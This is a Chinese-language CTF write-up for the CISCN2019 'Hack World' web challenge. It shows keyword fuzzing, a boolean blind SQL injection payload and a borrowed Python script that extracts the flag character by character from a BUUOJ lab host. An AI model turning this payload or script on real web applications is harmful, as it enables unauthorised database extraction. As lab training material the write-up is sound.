[CISCN2019 華北賽區 Day2 Web1]Hack World


題目

拿到這道題,是給了提示的,我們猜想是一道注入的題目

 

分析

我們先提交一個1,抓個包看看

 

 

再跟個1'呢

 

 

發現報錯,再輸入1' or 1=1--+,猜想后端應該是做了某種過濾

 

 

我們先來fuzz一下,看到底哪些關鍵字被過濾掉了

把數據包放到爆破模塊中

 

 

導入我們的fuzz字典,然后開始爆破

 

 

leng=472的是沒有被過濾掉的,結合沒有被過濾的關鍵字,我們考慮用bool盲注

payload

id=0^(ascii(substr((select(flag)from(flag)),1,1))>101)

 

 

當>102時,報錯,說明第一個字符就是102的ascii所對應的字符,也就是f

我們可以寫一個python腳本,解放勞動力(我寫的腳本有問題,這里貼上別人的腳本)

 1 import requests  2 
 3 url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"
 4 
 5 result = ""
 6 num = 0  # 用了來判斷是不是flag已經拼完整了
 7 for i in range(1, 60):  8 
 9     if num == 1: 10         break
11 
12     for j in range(32, 128): 13 
14         payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j) 15         # print(str((i-1)*96+j-32)+":~"+payload+"~")
16 
17         data = { 18             "id": payload, 19  } 20 
21         r = requests.post(url, data=data) 22 
23         r.encoding = r.apparent_encoding 24 
25         if "Hello" in r.text: 26             x = chr(j) 27             result += str(x) 28             print(result) 29             break
30 
31         if "}" in result: 32             print(result) 33             num = 1
34             break

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM